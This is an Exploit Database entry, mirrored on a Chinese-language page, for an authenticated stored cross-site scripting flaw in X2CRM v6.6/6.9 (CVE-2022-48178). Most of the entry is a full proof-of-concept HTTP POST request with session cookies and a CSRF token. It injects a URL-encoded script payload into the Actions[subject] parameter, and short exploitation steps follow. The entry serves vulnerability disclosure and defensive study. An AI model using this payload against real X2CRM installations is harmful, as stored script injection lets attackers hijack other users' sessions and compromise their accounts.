X2CRM v6.6/6.9 – Stored Cross-Site Scripting (XSS) (Authenticated)

• Exploit Database
• 18 阅读

• 作者： Betul Denizler
  日期： 2023-04-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51345/

• # Exploit Title: X2CRM v6.6/6.9 - Stored Cross-Site Scripting (XSS) (Authenticated)
  # Exploit Author: Betul Denizler
  # Vendor Homepage: https://x2crm.com/
  # Software Link: https://sourceforge.net/projects/x2engine/
  # Version: X2CRM v6.6/6.9
  # Tested on: Ubuntu Mate 20.04
  # Vulnerable Parameter: Actions[subject]
  # CVE: CVE-2022-48178
  # Date: 27.12.2022
  
  '''
  POC REQUEST:
  ========
  POST /c2xrm/x2engine/index.php/actions/update?id=1 HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) 
  Gecko/20100101 Firefox/108.0
  Accept: */*
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  Content-Length: 172
  Origin: http://localhost
  Connection: close
  Referer: 
  http://localhost/c2xrm/x2engine/index.php/actions/viewAction?id=1
  Cookie: LoginForm[username]=admin; LoginForm[rememberMe]=1; 
  PHPSESSID=kg3n7kcjqtm29fc7n4m72m0bt5; 
  YII_CSRF_TOKEN=e5d14327e116fe92a5feb663d52e0920f1a4adab; 
  5d8630d289284e8c14d15b14f4b4dc28=779a63cb39d04cca59b4a3b9b2a4fad817930211a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%224%22%3Bi%3A1%3Bs%3A5%3A%22test2%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; 
  d9ee490d05f512911c1c4614c37db2b8=15982c76efa545e0e6fcd167baa86541c1ef91eda%3A4%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; 
  sessionToken=Ncr7UIvK2yPvHzZc8koNW4DaIXxwZnsr
  Sec-Fetch-Dest: empty
  Sec-Fetch-Mode: cors
  Sec-Fetch-Site: same-origin
  
  YII_CSRF_TOKEN=e5d14327e116fe92a5feb663d52e0920f1a4adab&Actions%5Bsubject%5D=%3Cscript%3Ealert(1)%3C%2Fscript%3E&Actions%5Bpriority%5D=1&Actions%5BactionDescription%5D=test
  
  EXPLOITATION
  ========
  1. Create an action
  2. Inject payload to the vulnerable parameter in POST request
  
  Payload: %3Cscript%3Ealert(1)%3C%2Fscript%3E
  '''